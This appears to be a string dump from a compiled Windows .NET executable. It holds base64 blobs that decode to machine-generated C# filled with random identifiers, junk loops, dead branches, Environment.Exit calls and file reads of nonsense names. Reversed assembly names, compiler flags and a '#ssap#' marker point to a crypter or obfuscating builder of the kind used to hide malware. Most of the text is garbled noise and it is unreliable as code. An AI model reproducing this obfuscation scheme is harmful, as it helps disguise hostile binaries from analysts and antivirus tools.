iOyAKIENvbnNvbGUuV3JpdGVMaW5lKGlobUZuRyk7DQp9cHVibGljIHZvaWQgeXVaeWdFKCl7DQpsb25nIE9MQlhPUiA9IDg1Njc5MjQ4ODk3NTUxMjI4OyAKdXNob3J0IG1Uek1RRCA9IDEwNjg4OyAKc2J5dGUgRFd3S013ID0gIDE3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1c2hvcnQgUlVBWGtRID0gMjQxMDsgCnVzaG9ydCBwZXB4UGggPSA5NzQ3OyAKZG91YmxlIGp2eXdEbSA9IC01LjY2NTY4N0UtMjc7IAppZihqdnl3RG0gPT0gNS4zNDU5MjVFKzEwKXsNCmp2eXdEbSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoLTQuNjY1MDgyRS0zMCk7DQp9DQp9DQp9Cn0gcHVibGljIGNsYXNzIExjUXZaantwdWJsaWMgdm9pZCBJRHdLUlYoKXsNCmJ5dGUgYlZzcGpqID0gIDI1MzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBFVlFnbnEgPSAtMS4xNjE2OTFFKzE3OyAKd2hpbGUoRVZRZ25xID09IDQuOTUxNjE0RSsxMCl7DQpFVlFnbnEgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KZm9yKCA7IDspIHsNCkNvbnNvbGUuV3JpdGVMaW5lKDIuNjA3MDRFLTEyKTsNCn0NCn11c2hvcnQgR2VSTlFoID0gNjE2ODU7IAp1c2hvcnQgSVhBV3JjID0gMjIxOyAKbG9uZyBMR3lwZHAgPSAxMTM5OTE5MzAyNjA1OTg1NTsgCnNob3J0IG15ckVqdCA9IDI5OTM5OyAKIGJ5dGVbXSBteXJFanRteXJFanQgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm15ckVqdCIpOw0KfXB1YmxpYyB2b2lkIGZmWGFPVygpew0Kc2J5dGUgT3BxZ3BHID0gIC02MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBuVEpKZUsgPSA0MzQwMzM1NjEzMjI2NDA2ODsgCnVzaG9ydCBJdk9FYnQgPSA0MjYyMzsgCnN0cmluZyBHbU15aWQgPSAiQnhJUkhIIjsgCiBDb25zb2xlLldyaXRlTGluZShHbU15aWQpO3Nob3J0IG1Xa05kaiA9IC0xNTk0NzsgCiBieXRlW10gbVdrTmRqbVdrTmRqID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJtV2tOZGoiKTtzaG9ydCBPcGh1RlQgPSAyNjQ0NTsgCiBieXRlW10gT3BodUZUT3BodUZUID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJPcGh1RlQiKTsNCn1wdWJsaWMgdm9pZCBFQ0dGdnEoKXsNCnVsb25nIGJGTXBuUyA9IDUzNjc5MjA4MTY4MzI0NjA0OyAKbG9uZyBDWGV2UnggPSAzODI1OTA1MjUwMTgxNTczNjsgCmxvbmcgeUZuU1pXID0gNDkwNDA1MDAyMTQ5NDk5MjI7IAp1aW50IGVwTnBQdCA9IDI2MjgxNTU0OyAKbG9uZyBVcUdCeVkgPSA4NTIyNjQyNzUxODYzNTg0MzsgCmRvdWJsZSBaeWJBREkgPSA0LjE1MjgwM0UtMzA7IApaeWJBREkgPSBNYXRoLlBvdyg1LCAyKTsNCnRyeXsNCmludCB5TnB2dGtTY1RvdEpzID0gNzE4MDM1NDsNCmlmKHlOcHZ0a1NjVG90SnMgPT0gMzI0NjQpew0KeU5wdnRrU2NUb3RKcysrOw0KfWVsc2V7DQp5TnB2dGtTY1RvdEpzLS07DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfXB1YmxpYyB2b2lkIHdySlFRaCgpew0KaW50IE9mUHNBWSA9IDQ5Nzc3NTsgCmlmKE9mUHNBWSA9PSA0Mzk2NDkpew0KT2ZQc0FZID0gT2ZQc0FZICsgNzY0MjI0Ow0KfXNieXRlIG5VRkxkSCA9ICA0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgb1hEald5ID0gODU0NzY1OyAKaWYob1hEald5ID09IDE5ODA2MCl7DQpvWERqV3kgPSBvWERqV3kgKyA2MjU1Njg7DQp9dWxvbmcgQ1VXeHRlID0gMzkwODQ5MTQ1NzQxMTg0NDsgCnVsb25nIENsV3ltZyA9IDIxMDAzODczMTA3NTY0ODAwOyAKYnl0ZSBTa2lTWUUgPSAgNjk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBRV2NFYVAoKXsNCmxvbmcgTEtMQXF2ID0gNzc3MzU2NDE5Njc5MTQ3NTA7IAp1aW50IGRTRG9VQyA9IDQ5OTc2MjI2OyAKc2hvcnQgekZTbmxGID0gLTMxOTEyOyAKIGJ5dGVbXSB6RlNubEZ6RlNubEYgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInpGU25sRiIpO3VpbnQgcktPcXJzID0gMzY5MjsgCmxvbmcgY2R5U3JjID0gMzA3NDc0NzE2MDQzNDgyMzY7IApzaG9ydCBlWGlucWYgPSAtMjQ5MjM7IAogYnl0ZVtdIGVYaW5xZmVYaW5xZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZVhpbnFmIik7DQp9cHVibGljIHZvaWQgRlFZZGFuKCl7DQppbnQgRFpObUFDID0gNTc7IAppZihEWk5tQUMgPT0gMTQxODczKXsNCkRaTm1BQyArPSA0MjE0ODE7DQp9dWludCB1RVdKR3AgPSA2ODc3MTI7IApsb25nIEFQUWZwSCA9IDc3NzkzNTQ5MTE5MDUwNTAxOyAKdWxvbmcgcWNqTGd5ID0gODY3MzE5NTA5MTMxNzk3OTc7IAppbnQgQUZvZ3JRID0gNzIzNzEzNDg7IAppZihBRm9nclEgPT0gMTAxMDcwKXsNCkFGb2dyUSA9IEFGb2dyUSArIDEyMDA1NjsNCn1ieXRlIG9lbXVFbSA9ICA5NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IHB1YmxpYyBjbGFzcyBhSElYQ3R7cHVibGljIHZvaWQgVXpib1NpKCl7DQp1aW50IGN3U2J1SSA9IDk2OyAKZG91YmxlIGNkR0pYRCA9IDQuODkwODE2RSszNTsgCmNkR0pYRCA9IE1hdGguU3FydCg0KTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1zdHJpbmcgaEVWWEtDID0gIm9Xd3p4YSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoaEVWWEtDKTtieXRlIGJRU1FVQiA9ICA5NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIGh2b0pqViA9IDc2NjU0MTk4NDA1MDEwNjk3OyAKc2J5dGUgSlZiQ0hDID0gIC00NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgUUZ3bGpQKCl7DQpmbG9hdCBUUkFGZUUgPSAyLjQxNzUxN0UtMTJGOyAKdWludCBTVGdRWVEgPSA2NzM2OyAKc2hvcnQgY01nQ0VJID0gMjk3MTsgCiBieXRlW10gY01nQ0VJY01nQ0VJID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJjTWdDRUkiKTtzaG9ydCBqYURBVmYgPSAtMTA3NjM7IAogYnl0ZVtdIGphREFWZmphREFWZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiamFEQVZmIik7ZmxvYXQgVG5Ddlp4ID0gLTguNzUwMDY0RSsxOEY7IApkb3VibGUgbEZHdHJFID0gLTIuMzEyODY7IAppZihsRkd0ckUgPT0gMy4xNjAzMjZFLTM0KXsNCmRvdWJsZSBRWm5RZkJYcUdFaklmSkRoUEZBb2YgPSBNYXRoLkxvZygxMDAwLCAxMCk7DQpsRkd0ckUgPSBRWm5RZkJYcUdFaklmSkRoUEZBb2Y7DQp0cnl7DQppbnQgWmdvR3NrZWx4ekdHdkxxbnZsUlB2V3JSVyA9IDI2ODA2NDQ7DQppZihaZ29Hc2tlbHh6R0d2THFudmxSUHZXclJXID09IDE1MjMzKXsNClpnb0dza2VseHpHR3ZMcW52bFJQdldyUlcrKzsNCn1lbHNlew0KWmdvR3NrZWx4ekdHdkxxbnZsUlB2V3JSVy0tOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn0NCn1wdWJsaWMgdm9pZCBLbUpRemwoKXsNCnNob3J0IGlHRW1XbiA9IDE2OTg2OyAKIGJ5dGVbXSBpR0VtV25pR0VtV24gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImlHRW1XbiIpO3NieXRlIG1YSmd0UCA9ICA5MTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgeHJzenFNID0gMC4wMTQ3MTIwMkY7IApmbG9hdCBCdGFhd1QgPSAtMi4zMDIxMjhFLTM4RjsgCnNob3J0IG5BZUNYYiA9IDIxODEzOyAKIGJ5dGVbXSBuQWVDWGJuQWVDWGIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm5BZUNYYiIpO3VzaG9ydCBCQXhXbEEgPSA1Nzg0ODsgCg0KfXB1YmxpYyB2b2lkIGdSdGtwTygpew0Kc2hvcnQgc0puZERnID0gLTE2NzQ0OyAKIGJ5dGVbXSBzSm5kRGdzSm5kRGcgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInNKbmREZyIpO3VpbnQgV0VueG5sID0gNzIyOTk1NzE7IAp1bG9uZyBoZFhPVWUgPSAzNDExNzU3NjA5MjAzODAzNjsgCnNieXRlIFpkU3JLeiA9ICAtODU7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIGxxUmVUTyA9IDc3MTMzNTIxOTIyMTk1MTc5OyAKZG91YmxlIGpTSlVvdCA9IC0xLjM3MzE4NUUtMDg7IAppZihqU0pVb3QgPT0gOS41NDgwMDUpew0KalNKVW90ID0gTWF0aC5Qb3coNSwgMik7DQpvYmplY3Qgc0pDeVN1SXR6SEZLZ2VveHRQbXZIS0N0Ow0Kc0pDeVN1SXR6SEZLZ2VveHRQbXZIS0N0ID0gLTUuNTUxODVFLTA1Ow0KfQ0KfXB1YmxpYyB2b2lkIFpFZG9rSigpew0KZG91YmxlIGxGUXBWViA9IC05LjM1NzUwOEUrMTU7IApsRlFwVlYgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQp1c2hvcnQgRElEZW9jID0gMTQ5ODE7IApsb25nIEl4Z1JTWSA9IDQ4Mzk5NjA3MDUxNTMwMTE5OyAKc3RyaW5nIEt2RnZpRCA9ICJDd2lyaGMiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEt2RnZpRCk7dWxvbmcgaUZsQ0N5ID0gMzgzMTYxMTQ0MzI3MjgwMTY7IAp1aW50IG1mdGFWaCA9IDMyNjsgCg0KfXB1YmxpYyB2b2lkIFFSV1hJTSgpew0KdWludCBRYnBNZ3kgPSA5NDsgCnNob3J0IGJ5c1NleCA9IC0xMzU2MDsgCiBieXRlW10gYnlzU2V4YnlzU2V4ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJieXNTZXgiKTtsb25nIFVUR3lVbyA9IDcyMTQ1OTE5MDc2MzY1MjUxOyAKaW50IG5GcktnayA9IDU1NTsgCndoaWxlKG5GcktnayA9PSA1NTUpew0KbkZyS2drID0gbkZyS2drICsgNTU2NzEzOw0KfWRvdWJsZSBySWZJYlkgPSAtNC4wMTgyNzJFLTI2OyAKd2hpbGUocklmSWJZID09IC0xLjg2NTEyNEUrMjIpew0KcklmSWJZID0gTWF0aC5Qb3coNSwgMik7DQpDb25zb2xlLldyaXRlTGluZShySWZJYlkuVG9TdHJpbmcoKSk7DQp9ZG91YmxlIGVlaEliQSA9IC0yLjg0NDc0NEUtMDk7IAplZWhJYkEgPSBNYXRoLlRydW5jYXRlKGVlaEliQSk7DQppbnQ/IE1xUEt2WXdXUkggPSAzNzI4OTQ1Ow0KTXFQS3ZZd1dSSCArPSA4NjkyNjsNCn0KfSBwdWJsaWMgY2xhc3Mgc2lvUU50e3B1YmxpYyB2b2lkIHNCRkREWigpew0KaW50IERoV1FLTyA9IDc4Mjc1MDQzOyAKaWYoRGhXUUtPID09IDYzNzA2NSl7DQpEaFdRS08gKz0gMjEyNzcyOw0KfWludCBibGRkTFYgPSA3NDM4MzE3MDA7IAp3aGlsZShibGRkTFYgPT0gNzQzODMxNzAwKXsNCmJsZGRMViA9IGJsZGRMViArIDk3OTI5NjsNCn11c2hvcnQgQ1Bia1pTID0gMjc2NDc7IAp1c2hvcnQga1ZrcmJpID0gNDkwMzA7IApkb3VibGUgUnlDaVFoID0gMi4wNTg3OTNFKzMzOyAKaWYoUnlDaVFoID09IDIuNTUyMzYxRSsxMCl7DQpSeUNpUWggPSBNYXRoLkNlaWxpbmcoTWF0aC5BdGFuKC01KSk7DQpDb25zb2xlLldyaXRlTGluZShSeUNpUWguVG9TdHJpbmcoKSk7DQp9dXNob3J0IFB4eWJKdiA9IDE5MDA1OyAKDQp9cHVibGljIHZvaWQgeXZRZFF5KCl7DQpzdHJpbmcgSWVBSVJkID0gIklSZWF3USI7IAogQ29uc29sZS5Xcml0ZUxpbmUoSWVBSVJkKTtieXRlIHRzcEtzQiA9ICA2MTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBuTWVmS0wgPSAtMi41MDgxMjRFLTA4OyAKZG91YmxlIHpvZGRDID0gNy44Mjk2NzZFLTI1Ow0Kbk1lZktMID0gem9kZEMgKiAyOw0KdHJ5ew0KaW50IFduUlpqZktYaXVxSHBIZGdvZSA9IDk3Njg0MTsNCmlmKFduUlpqZktYaXVxSHBIZGdvZSA9PSAyMjIzKXsNClduUlpqZktYaXVxSHBIZGdvZSsrOw0KfWVsc2V7DQpXblJaamZLWGl1cUhwSGRnb2UtLTsNCkNvbnNvbGUuV3JpdGUoV25SWmpmS1hpdXFIcEhkZ29lLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1kb3VibGUgS3hOUkJ3ID0gMi41OTI5MjdFLTA4OyAKS3hOUkJ3ID0gTWF0aC5UcnVuY2F0ZShLeE5SQncpOw0Kb2JqZWN0IE9aV0JtVGd4RDsNCk9aV0JtVGd4RCA9IDEuNTgwNDkzRS0xMDsNCkNvbnNvbGUuV3JpdGVMaW5lKE9aV0JtVGd4RC5Ub1N0cmluZygpLlRvTG93ZXIoKSk7c2J5dGUgWVZFYllRID0gIC0zMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c3RyaW5nIENDbndiRiA9ICJxcHJUZlYiOyAKIENvbnNvbGUuV3JpdGVMaW5lKENDbndiRik7DQp9cHVibGljIHZvaWQgTnl2UXdEKCl7DQpmbG9hdCBpTWVCSkkgPSAxLjcxNTMwM0UrMTZGOyAKdXNob3J0IEhWY2NxTSA9IDQ0MzkwOyAKZG91YmxlIHpzcklvZSA9IC0xLjQ5Nzc3MUUrMzE7IAppZih6c3JJb2UgPT0gMS4wMDQzODNFKzM0KXsNCnpzcklvZSA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9Ynl0ZSBKYmpIbncgPSAgNTc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCBYV2tSZU8gPSA2LjUxMTc4MkUtMTBGOyAKZmxvYXQgekFnSVFFID0gLTEuNzg1MDU4RSszNEY7IAoNCn1wdWJsaWMgdm9pZCBLUVVLcWkoKXsNCmxvbmcgZVFUT3VtID0gNDY2MDQ0NDEzMjA2NjM1MTk7IApzdHJpbmcgaU9GQlRhID0gInhBdkxCViI7IAogQ29uc29sZS5Xcml0ZUxpbmUoaU9GQlRhKTtmbG9hdCBvREtXQVIgPSAtMS42ODA3NzlFKzMzRjsgCnVpbnQgWkNuZGltID0gMzYyNTc7IAp1aW50IERSZHpORiA9IDQ1OyAKc2J5dGUgVVBJcnZqID0gIC0xMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgTHdHVVVrKCl7DQp1c2hvcnQgc01CWHpQID0gNTc5NTI7IApmbG9hdCBWbk5GR1EgPSA3Ljc1NjQ3MUUtMTdGOyAKdWludCBza0pEV1IgPSA2MTI5NTM7IAp1bG9uZyBXaUdoQ3cgPSA3NjM4MjgxODIwNTk3NTkzNTsgCmZsb2F0IFVJcGFHcSA9IDAuMTkzNTI1MUY7IAp1c2hvcnQgb0tzQ3B2ID0gNjA5ODg7IAoNCn1wdWJsaWMgdm9pZCBGY2twT2coKXsNCnVsb25nIGVscFJwWSA9IDM0NDExMjE5ODY1Mzg4MjM3OyAKc3RyaW5nIHRmVHhIdSA9ICJyU0poZGkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHRmVHhIdSk7c3RyaW5nIElvU3dSViA9ICJ3S1ViQ3giOyAKIENvbnNvbGUuV3JpdGVMaW5lKElvU3dSVik7bG9uZyBkcWlQT0wgPSAyMDc0NTQ2Njg1MzM3NDU3NjsgCnVpbnQgT3ZzT2pDID0gMzQ7IAppbnQgc3JYaEJzID0gMTc3NzsgCndoaWxlKHNyWGhCcyA9PSAxNzc3KXsNCnNyWGhCcyA9IHNyWGhCcyArIDgzMTA2MjsNCn0NCn0KfSANCn0=
 
sUdPu
TkKvP
vnnDI
Rflue
Assembly Version
dzfER
mwkBV
lld.metsyS
FaDoo
ProductVersion
nbFZH
KBGfQ
Lhcrb
yzmdl
#ssap#
BujAQ
FileVersion
InternalName
ueXub
RpTJn
uLXhL
lld.tnemeganaM.metsyS
Qzmez
GoVIJ
mbtEW
0.0.0.0
gKISk
VS_VERSION_INFO
2f212
;Zq
vIwLy
StringFileInfo
000004b0
Translation
exeniw:tegrat/ +gubed/ 68X:mroftalp/ +ezimitpo/
gJDjz
xsxnG
rjcED
YuCOk
pOXWSOQofrgh
cGHVq
AFVuz
dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRHJhd2luZzsNCg0KbmFtZXNwYWNlIERyd0Vob0JaWUZScw0Kew0KCXB1YmxpYyBjbGFzcyBGbnNrZnZ7cHVibGljIHZvaWQgTW1XZHBiKCl7DQppbnQgVVZzQUVzID0gNTc5MDsgCndoaWxlKFVWc0FFcyA9PSA1NzkwKXsNClVWc0FFcyA9IFVWc0FFcyArIDY3NjA2NjsNCn11c2hvcnQgVEltYXBYID0gNTA4NDI7IApmbG9hdCB1cVdFc2wgPSAtNi44MDg0NDhFKzI1RjsgCmZsb2F0IFh3SGtaViA9IDguODA5MzA0RS0yM0Y7IApzaG9ydCBSWHJjRmIgPSAxNTk1MzsgCiBieXRlW10gUlhyY0ZiUlhyY0ZiID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJSWHJjRmIiKTtkb3VibGUgZnd2cnBwID0gLTIuMjY1NDM0RSsxNjsgCndoaWxlKGZ3dnJwcCA9PSAtMy4yODAxM0UtMTIpew0KZG91YmxlIGVNU1JUID0gOC40NjkyRSsxODsNCmZ3dnJwcCA9IE1hdGguQ2VpbGluZyhlTVNSVCk7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoMy45MTQ0NjJFLTEzKTsNCn0NCn0NCn1wdWJsaWMgdm9pZCBleGlyWmwoKXsNCnVpbnQgSVNCV29HID0gMTY5MTE2ODsgCnNieXRlIHNnQmhISyA9ICA1NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyB2ckhrR2UgPSA4Mzk5MjM4OTYyNzQ5MzY4NzsgCnNieXRlIFhhSHJmZSA9ICAtMjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBtY0NsRHYgPSAgMTY2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIG92QWpvVCA9IDAuMDIzMDc4NjU7IApvdkFqb1QgPSBNYXRoLkV4cCgyKTsNCkNvbnNvbGUuV3JpdGVMaW5lKG92QWpvVC5Ub1N0cmluZygpKTsNCn1wdWJsaWMgdm9pZCBSeHRucmEoKXsNCnNieXRlIGtDQ3BvUSA9ICA0MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBqWER1akUgPSA0Njg5OyAKZG91YmxlIE9GSk5veCA9IC03LjQyMTk4MkUtMjM7IApPRkpOb3ggPSBNYXRoLkNlaWxpbmcoTWF0aC5TaW5oKC01KSk7DQpDb25zb2xlLlJlYWRLZXkoKTtkb3VibGUgQXFnRGRoID0gLTQuMDQ4MjcxRS0wNjsgCmlmKEFxZ0RkaCA9PSA2LjAwMDg5NkUrMjUpew0KQXFnRGRoID0gTWF0aC5Qb3coNSwgMik7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShBcWdEZGguVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfXNieXRlIGt4UlJQYSA9ICAxMjU7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBaTGlOQmcgPSAiUFlWYkVPIjsgCiBDb25zb2xlLldyaXRlTGluZShaTGlOQmcpOw0KfXB1YmxpYyB2b2lkIGx0QXN5aygpew0Kc2J5dGUgekpMdHJ3ID0gIDg5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgV0ppdXlRID0gNDkyMDg1ODM7IAppZihXSml1eVEgPT0gNjM4NzA1KXsNCldKaXV5USA9IDcwODI4OTsNCn1ieXRlIEJ0S0p5UiA9ICAxMzE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgV3lwaWdKID0gNjQ2OTY7IApzdHJpbmcgUG9PVG5CID0gIkhJSUhjWiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUG9PVG5CKTt1c2hvcnQgSFJjV0hkID0gNjM4OTY7IAoNCn1wdWJsaWMgdm9pZCBTaEhLU2UoKXsNCnVsb25nIHdYdmJwQiA9IDE3MzI5OTQyMDMzNDM1MzA0OyAKZG91YmxlIHp1WlRKWiA9IDIuMTAzNjM4RS0xOTsgCmlmKHp1WlRKWiA9PSAtMi4wMzUwNjZFKzE5KXsNCnp1WlRKWiA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQppbnQ/IHBoU3NIT1JjVWlIcHVvckpuYmpNZiA9IDc5NjIxOw0KcGhTc0hPUmNVaUhwdW9ySm5iak1mICs9IDk4MDE5Ow0KfWZsb2F0IEJmeXFYUyA9IC0zNDUyNjU3RjsgCnN0cmluZyBlenNQY2sgPSAielZOT0FIIjsgCiBDb25zb2xlLldyaXRlTGluZShlenNQY2spO2J5dGUgelpZdGlzID0gIDE3NDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgT0pHc1N3ID0gIDE4NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIGFudG9qSygpew0KYnl0ZSBQTXpHbWsgPSAgMTUxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBkRk9ZbmsgPSA4NjQ2MTA2MzsgCmludCBQZEhmSkMgPSA5NjsgCndoaWxlKFBkSGZKQyA9PSA5Nil7DQpQZEhmSkMgPSBQZEhmSkMgKyAyMjQ2OTk7DQp9aW50IENnVnFMdyA9IDk2OTA3MDIwMjsgCmlmKENnVnFMdyA9PSA3MTAzNSl7DQpDZ1ZxTHcgPSBDZ1ZxTHcgKyA4MzUxMjQ7DQp9c2hvcnQgaElPdEZnID0gMzM2ODsgCiBieXRlW10gaElPdEZnaElPdEZnID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJoSU90RmciKTt1c2hvcnQgRElieWtjID0gNjUyNjc7IAoNCn0KfSBwdWJsaWMgY2xhc3MgR3dWYk5Pe3B1YmxpYyB2b2lkIGp6cHBHdSgpew0Kc3RyaW5nIEtBTmhreiA9ICJzZmFTaWQiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEtBTmhreik7ZmxvYXQgVUJTTUtBID0gLTIuMTUxMTM0RS0yOUY7IApzaG9ydCB0QVluVVUgPSAtMjUxOTM7IAogYnl0ZVtdIHRBWW5VVXRBWW5VVSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygidEFZblVVIik7c2hvcnQgYm9NcGJXID0gLTI5MDM0OyAKIGJ5dGVbXSBib01wYldib01wYlcgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImJvTXBiVyIpO2ludCBNUmlxWUQgPSAxMjAzMTc7IAp3aGlsZShNUmlxWUQgPT0gMTIwMzE3KXsNCk1SaXFZRCA9IE1SaXFZRCArIDMxMTIwMDsNCn11aW50IG9uZUl1ZiA9IDExMDk7IAoNCn1wdWJsaWMgdm9pZCBHbVdmYlMoKXsNCmJ5dGUgSWxkRG9EID0gIDIxNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Nob3J0IHFvdlVMaiA9IDQ1NDE7IAogYnl0ZVtdIHFvdlVManFvdlVMaiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygicW92VUxqIik7c2hvcnQgT0V3V1FIID0gMzAyMTU7IAogYnl0ZVtdIE9Fd1dRSE9Fd1dRSCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiT0V3V1FIIik7dXNob3J0IExNTXZvQSA9IDU5MzcyOyAKZG91YmxlIGlIZ29BbiA9IC0xLjI4ODE3OEUrMDg7IApkb3VibGUganNFb1FhT3RpID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KaUhnb0FuID0ganNFb1FhT3RpOw0KdHJ5ew0KaW50IHNreUxSYmZjeSA9IDgyNTgxNzY7DQppZihza3lMUmJmY3kgPT0gNDcxMzMpew0Kc2t5TFJiZmN5Kys7DQp9ZWxzZXsNCnNreUxSYmZjeS0tOw0KQ29uc29sZS5Xcml0ZShza3lMUmJmY3kuVG9TdHJpbmcoKSk7DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfXNieXRlIE1JU3BITyA9ICA1NjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgVk5KaGd6KCl7DQp1bG9uZyB1bnRZUUUgPSA3NTgyMzEyOTg2ODkxNTIwODsgCmJ5dGUgZmdieGhDID0gIDE3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgYnlFSE5GID0gMTM0OTE7IAogYnl0ZVtdIGJ5RUhORmJ5RUhORiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiYnlFSE5GIik7ZmxvYXQgcGNST0VjID0gMTc4MTk3OUY7IApkb3VibGUgekJHdVZKID0gLTEuMjcxNTMyRSsyNzsgCmlmKHpCR3VWSiA9PSAtMi43OTc3NjdFLTA4KXsNCnpCR3VWSiA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1pbnQgc01yVk1kID0gNjE1NTsgCndoaWxlKHNNclZNZCA9PSA2MTU1KXsNCnNNclZNZCA9IHNNclZNZCArIDU4ODgyOw0KfQ0KfXB1YmxpYyB2b2lkIE9RUU1iZSgpew0KZmxvYXQgQ1NiWnRlID0gLTEuNjMyMzUzRSswOUY7IApzYnl0ZSByQ3F3ekwgPSAgLTkyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgVXRZdnJDID0gNjI7IAppZihVdFl2ckMgPT0gMzQ1NDcxKXsNClV0WXZyQyArPSAzNTMwNjI7DQp9c2J5dGUgUlVoeEdMID0gIC0xMDY7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBDRkRDVnkgPSAxNjU1ODY7IApkb3VibGUgQ3FZc3h5eElTRFBQQiA9IC0xLjQwNDQ4M0UtMjA7DQpDRkRDVnkgPSBNYXRoLlJvdW5kKENxWXN4eXhJU0RQUEIgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KZG91YmxlIFJIVnlVQiA9IC0xLjgxNjc1MkUtMzU7IAppZihSSFZ5VUIgPT0gMi4wMTgxMzhFLTA1KXsNClJIVnlVQiA9IE1hdGguVHJ1bmNhdGUoUkhWeVVCKTsNCm9iamVjdCBneEtoYWVJV1phVnNzbXJ3Z3dDSFVsRElrUGdPOw0KZ3hLaGFlSVdaYVZzc21yd2d3Q0hVbERJa1BnTyA9IC01LjY0NzAzMUUrMzc7DQp9DQp9cHVibGljIHZvaWQgelBsd3lWKCl7DQpzaG9ydCBpdHJyTVAgPSAxNzAxOyAKIGJ5dGVbXSBpdHJyTVBpdHJyTVAgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIml0cnJNUCIpO3VpbnQgQ2dGYmJGID0gOTEyNDM2NDc1OyAKYnl0ZSBzUkpvenYgPSAgOTg7IAogRW52aX